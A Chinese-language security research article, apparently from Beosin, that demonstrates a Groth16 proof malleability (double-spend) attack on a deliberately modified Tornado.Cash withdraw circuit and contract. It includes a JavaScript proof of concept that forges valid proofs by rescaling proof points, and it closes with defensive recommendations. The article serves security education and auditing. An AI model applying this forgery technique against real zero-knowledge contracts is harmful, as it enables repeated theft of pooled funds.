zk 專案方看過來

作者:Saya,Bryce,Beosin 安全研究專家

在上篇文章里,我們從原理的角度闡述了 Groth16 證明系統本身存在的延展性漏洞,本文中我們將以 Tornado.Cash 專案為例,魔改其部分電路和代碼,介紹延展性攻擊流程以及該專案中對應的防範措施,希望其他 zkp 專案方也引起注意。

其中,Tornado.Cash 使用 snarkjs 庫進行開發,同樣基於如下開發流程,後續就直接進行介紹,不熟悉該庫的請閱讀本系列第一篇文章。(Beosin | 深度剖析零知識證明 zk-SNARK 漏洞:為什麼零知識證明系統並非萬無一失? 

(圖源:https://docs.circom.io/)

1 Tornado.Cash 架構

Tornado.Cash 的交互流程中主要包含 4 個實體:

  • User:使用該 DApp 進行混幣器隱私交易,包括存、取款。
  • Web page:DApp 的前端網頁,網頁上包含一些用戶按鈕。
  • Relayer:為防止鏈上節點記錄發起隱私交易的 ip 位址等資訊,該伺服器會代替使用者重放交易,進一步增強隱私性。
  • Contract:包含一个代理合约 Tornado.Cash Proxy,该代理合约会根据用户存取款的金额选择指定的 Tornado 池子进行后续的存取款操作。目前已存在 4 个池子,金额分别为:0.1、1、10、100。

User 首先在 Tornado.Cash 的前端网页上进行对应操作,触发存款或取款交易,接着由 Relayer 将其交易请求转发到链上的 Tornado.Cash Proxy 合约,并根据交易金额转发到对应的 Pool 中,最终进行存款和取款等处理,具体的架构如下:

Tornado.Cash 作为一个混币器,其具体业务功能分为两部分:

  • deposit:当用户进行存款交易时,首先在前端网页上选择存入的代币 (BNB、ETH 等) 和对应的数额,为了更好的确保用户的隐私性,只能存入四种金额数量;
图源:<https://ipfs.io/ipns/tornadocash.eth/>

接着服务器会生成两个 31 字节的随机数 nullifier、secret,将其拼接后进行 pedersenHash 运算即可得到 commitment,将 nullifier+secret 加上前缀作为 note 返回给用户,note 如下图:

  • 随后发起一笔 deposit 交易将 commitment 等数据发送到链上 Tornado.Cash Proxy 合约中,代理合约根据 deposit 的金额将数据转发至对应的 Pool 中,最后 Pool 合约将 commitment 作为叶子结点插入到 merkle tree,并将计算出的 root 存储在 Pool 合约中。
  • withdraw:当用户进行取款交易时,首先在前端网页上输入 deposit 时返回的 note 数据和收款地址;
图源:https://ipfs.io/ipns/tornadocash.eth/
  • 接着服务器会在链下检索出所有 Tornadocash 的 deposit 事件,提取其中的 commitment 构建链下的 Merkle tree,并根据用户给出的 note 数据 (nullifier+secret) 生成 commitment 并生成对应的 Merkle Path 和对应的 root,并作为电路输入得到零知识 SNARK proof;最后,再发起一笔 withdraw 交易到链上的 Tornado.Cash Proxy 合约中,接着根据参数跳转到对应的 Pool 合约中验证证明,将钱打入用户指定的接收者地址。

其中,Tornado.Cash 的 withdraw 核心其实就是在不暴露用户持有的 nullifier、secret 的情况下,证明某个 commitment 存在于 Merkle tree 上,具体的默克尔树结构如下:

2 Tornado.Cash 魔改漏洞版

2.1 Tornado.Cash 魔改

针对第一篇文章 Groth16 延展性攻击原理,我们知道攻击者使用相同的 nullifier、secret 其实可以生成多个不同的 Proof,那么如果开发者没有考虑到 Proof 重放造成的双花攻击,就会威胁到项目资金。在对 Tornado.Cash 进行魔改之前,本文先介绍一下 Tornado.Cash 最终处理 withdraw 的 Pool 中代码:

/**    @dev Withdraw a deposit from the contract. `proof` is a zkSNARK proof data, and input is an array of circuit public inputs    `input` array consists of:      - merkle root of all deposits in the contract      - hash of unique deposit nullifier to prevent double spends      - the recipient of funds      - optional fee that goes to the transaction sender (usually a relay)  */  function withdraw(    bytes calldata _proof,    bytes32 _root,    bytes32 _nullifierHash,    address payable _recipient,    address payable _relayer,    uint256 _fee,    uint256 _refund  ) external payable nonReentrant {    require(_fee <= denomination, "Fee exceeds transfer value");    require(!nullifierHashes[_nullifierHash], "The note has been already spent");    require(isKnownRoot(_root), "Cannot find your merkle root"); // Make sure to use a recent one    require(      verifier.verifyProof(        _proof,        [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund]      ),      "Invalid withdraw proof"    );
nullifierHashes[_nullifierHash] = true; _processWithdraw(_recipient, _relayer, _fee, _refund); emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee); }

上图中为了防止攻击者使用同一个 Proof 进行双花攻击,而又不暴露 nullifier、secret,Tornado.Cash 在电路中增加了一个公共信号 nullifierHash,它是由 nullifier 进行 Pedersen 哈希得到,可以作为参数传到链上,Pool 合约再使用该变量标识一个正确的 Proof 是否已经被使用过。但是如果项目方不采用修改电路的方式,而是直接以记录 Proof 方式来防止双花,毕竟这样做可以减少电路约束,从而节省开销,但是能否达到目的呢?
对于此猜想,本文将删除电路中新增的 nullifierHash 公共信号,并将合约校验改为 Proof 校验。由于 Tornado.Cash 在每次 withdraw 时都会获取所有的 deposit 事件组建 merkle tree 再校验生成的 root 值是否在最近生成的 30 个之内,整个过程太过麻烦,因此本文电路也将删除 merkleTree 电路,仅仅留下 withdraw 部分的核心电路,具体电路如下:

include "../../../../node_modules/circomlib/circuits/bitify.circom";  include "../../../../node_modules/circomlib/circuits/pedersen.circom";
// computes Pedersen(nullifier + secret)template CommitmentHasher() { signal input nullifier; signal input secret; signal output commitment; // signal output nullifierHash; // delete
component commitmentHasher = Pedersen(496); // component nullifierHasher = Pedersen(248); component nullifierBits = Num2Bits(248); component secretBits = Num2Bits(248);
nullifierBits.in <== nullifier; secretBits.in <== secret; for (var i = 0; i < 248; i++) { // nullifierHasher.in[i] <== nullifierBits.out[i]; // delete commitmentHasher.in[i] <== nullifierBits.out[i]; commitmentHasher.in[i + 248] <== secretBits.out[i]; }
commitment <== commitmentHasher.out[0]; // nullifierHash <== nullifierHasher.out[0]; // delete}
// Verifies that commitment that corresponds to given secret and nullifier is included in the merkle tree of deposits signal output commitment; signal input recipient; // not taking part in any computations signal input relayer; // not taking part in any computations signal input fee; // not taking part in any computations signal input refund; // not taking part in any computations signal input nullifier; signal input secret; component hasher = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret; commitment <== hasher.commitment;
// Add hidden signals to make sure that tampering with recipient or fee will invalidate the snark proof // Most likely it is not required, but it's better to stay on the safe side and it only takes 2 constraints // Squares are used to prevent optimizer from removing those constraints signal recipientSquare; signal feeSquare; signal relayerSquare; signal refundSquare;
recipientSquare <== recipient * recipient; feeSquare <== fee * fee; relayerSquare <== relayer * relayer; refundSquare <== refund * refund;
}
component main = Withdraw(20);

注意:我們在實驗過程中發現,TornadoCash 在 GitHub 中的最新版代碼里(https://github.com/tornadocash/tornado-core), withdraw 電路缺乏輸出信號,需要人工修正才能正確運行。
根據上述修改後的電路,使用 snarkjs 庫等按照本文開始給出的開發流程逐步進行,生成如下正常 Proof,記為 proof1:

The proof: {  pi_a: [    12731245758885665844440940942625335911548255472545721927606279036884288780352n,    11029567045033340566548367893304052946457319632960669053932271922876268005970n,    1n  ],  pi_b: [    [      4424670283556465622197187546754094667837383166479615474515182183878046002081n,      8088104569927474555610665242983621221932062943927262293572649061565902268616n    ],    [      9194248463115986940359811988096155965376840166464829609545491502209803154186n,      18373139073981696655136870665800393986130876498128887091087060068369811557306n    ],    [ 1n, 0n ]  ],  pi_c: [    1626407734863381433630916916203225704171957179582436403191883565668143772631n,    10375204902125491773178253544576299821079735144068419595539416984653646546215n,    1n  ],  protocol: 'groth16',  curve: 'bn128'}

2.2 實驗驗證

2.2.1 驗證證明 — circom 生成的默認合約

首先,我們使用 circom 生成的默認合約進行驗證,該合約由於根本沒有記錄任何已經使用過的 Proof 相關信息,攻擊者可多次重放 proof1 造成雙花攻擊。 在下列實驗中,可以針對同一電路的同一個 input,無限次重放 proof,均能通過驗證。

下圖是使用 proof1 在預設合約中證明驗證通過的實驗截圖,包含上篇文章中使用的 Proof 參數 A、B、C,以及最終的結果:

下圖是我們使用同樣的 proof1 多次調用 verifyProof 函數進行證明驗證的結果,實驗發現針對同一 input,無論攻擊者使用多少次 proof1 進行驗證,都可以通過:

當然在我們在 snarkjs 原生的 js 代碼庫中進行測試,也並未對已經使用過的 Proof 進行防範,實驗結果如下:

2.2.2 驗證證明 — 普通防重放合約

針對 circom 生成的默認合約中的重放漏洞,本文記錄已使用過的正確 Proof(proof1)中的一個值,以達到防止使用驗證過的 proof 進行重放攻擊的目的,具體如下圖所示:

繼續使用 proof1 進行驗證,實驗發現在使用同樣 Proof 進行二次驗證時,交易 revert 報錯:“The note has been already spent”,結果如下圖所示:

但是此时虽然达到了防止普通 proof 重放攻击的目的,但是前文介绍过 groth16 算法存在延展性漏洞问题,这种防范措施仍可以被绕过。于是下图我们构造 PoC,按照第一篇文章中的算法针对同一 input 生成伪造的 zk-SNARK 证明,实验发现仍然能通过验证。生成伪造证明 proof2 的 PoC 代码如下:

import WasmCurve from "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"import ZqField from "/Users/saya/node_modules/ffjavascript/src/f1field.js"import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";import * as curves from "/Users/saya/node_modules/snarkjs/src/curves.js";import fs from "fs";import {  utils }   from "ffjavascript";const {unstringifyBigInts} = utils;
groth16_exp();async function groth16_exp(){ let inputA = "7"; let inputB = "11"; const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');
// 2. 读取 string 后转化为 int const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8"))); console.log("The proof:",proof);
// 生成逆元,生成的逆元必须在 F1 域 const F = new ZqField(SNARK_FIELD_SIZE); // const F = new F2Field(SNARK_FIELD_SIZE); const X = F.e("123456") const invX = F.inv(X) console.log("x:" ,X ) console.log("invX" ,invX) console.log("The timesScalar is:",F.mul(X,invX))
// 读取椭圆曲线 G1、G2 点 const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8")); // console.log("The curve is:",vKey); const curve = await curves.getCurveFromName(vKey.curve);
const G1 = curve.G1; const G2 = curve.G2; const A = G1.fromObject(proof.pi_a); const B = G2.fromObject(proof.pi_b); const C = G1.fromObject(proof.pi_c);
const new_pi_a = G1.timesScalar(A, X); //A'=x*A const new_pi_b = G2.timesScalar(B, invX); //B'=x^{-1}*B
proof.pi_a = G1.toObject(G1.toAffine(A)); proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a)) proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))
// 将生成的 G1、G2 点转化为 proof console.log("proof.pi_a:",proof.pi_a); console.log("proof.new_pi_a:",proof.new_pi_a) console.log("proof.new_pi_b:",proof.new_pi_b)
}

生成的偽造證明 proof2,具體如下圖所示:

proof.pi_a: [  12731245758885665844440940942625335911548255472545721927606279036884288780352n,  11029567045033340566548367893304052946457319632960669053932271922876268005970n,  1n]proof.new_pi_a: [  3268624544870461100664351611568866361125322693726990010349657497609444389527n,  21156099942559593159790898693162006358905276643480284336017680361717954148668n,  1n]proof.new_pi_b: [  [    2017004938108461976377332931028520048391650017861855986117340314722708331101n,    6901316944871385425597366288561266915582095050959790709831410010627836387777n],  [    17019460532187637789507174563951687489832996457696195974253666014392120448346n,    7320211194249460400170431279189485965933578983661252776040008442689480757963n],  [ 1n, 0n ]]

再次使用該參數調用 verifyProof 函數進行證明驗證時,實驗發現同一 input 的情況下使用 proof2 驗證再次通過了,具體如下所示:

雖然偽造的證明 proof2 也只能再使用一次,但由於針對同一 input 的偽造的證明存在幾乎無限多個,因此可能造成合約資金被無限次被提取。

本文同樣使用 circom 庫的 js 代碼進行測試,實驗結果 proof1 和偽造的 proof2 都可以通過驗證:

2.2.3 驗證證明 — Tornado.Cash 放重放合約

經歷了那麼多次失敗,難道沒有一種方式可以一勞永逸嗎? 此處按照 Tornado.Cash 中通過校驗原始 input 是否已經被使用的做法,本文繼續修改合約代碼如下:

需要說明的是,為了展示 groth16 演算法延展性攻擊的防範簡單措施,**本文採取直接記錄原始電路 input 的方式,但是這不符合零知識證明的隱私原則,電路輸入應當是保密的。 **比如 Tornado.Cash 中 input 都是 private,需要重新新增一個 public input 標識一條 Proof。 本文由於電路中沒有新增標識,所以隱私性相對於 Tornado.Cash 來說較差,僅作為實驗 Demo 展示結果如下:

可以發現,上圖中使用同一 input 的 Proof,只有第一次可以通過驗證 proof1,隨後該 proof1 和偽造的 proof2 都不能通過校驗。

3 總結和建議

本文主要通過魔改 TornadoCash 的電路和使用開發者常用的 Circom 預設生成的合約驗證了重放漏洞的真實性和危害,並進一步驗證了使用在合約層面的普通措施可以防護重放漏洞,但無法防止 groth16 的延展性攻擊,對此,我們建議零知識證明的專案在專案開發時,應注意:

  • 與傳統 DApp 使用位址等唯一數據生成節點數據的方式不同,zkp 專案通常是使用組合隨機數的方式生成 Merkle tree 節點,需要注意業務邏輯是否允許插入相同數值節點的情況。  因為相同的葉子結點數據可能導致部分用戶資金被鎖死在合約中,或者是同一葉子節點數據存在多個 Merkle Proof 混淆業務邏輯的情況。
  • zkp 專案方通常使用 mapping 記錄已使用的過的 Proof,防範雙花攻擊。  需要注意使用 Groth16 開發時,由於存在延展性攻擊,因此記錄需使用節點原始數據,而不能僅僅使用 Proof 相關數據標識。
  • 複雜電路可能存在電路不確定、欠約束等問題,合約驗證時條件不完整,實現邏輯存在漏洞等問題,我們強烈建議專案方在項目上線時,尋求對電路和合約都有一定研究的安全審計公司進行全面審計,盡可能的保證專案安全。

免責聲明:作為區塊鏈資訊平臺,本站所發佈文章僅代表作者及嘉賓個人觀點,與 Web3Caff 立場無關。 本文內容僅用於資訊分享,均不構成任何投資建議及要約,並請您遵守所在國家或地區的相關法律法規。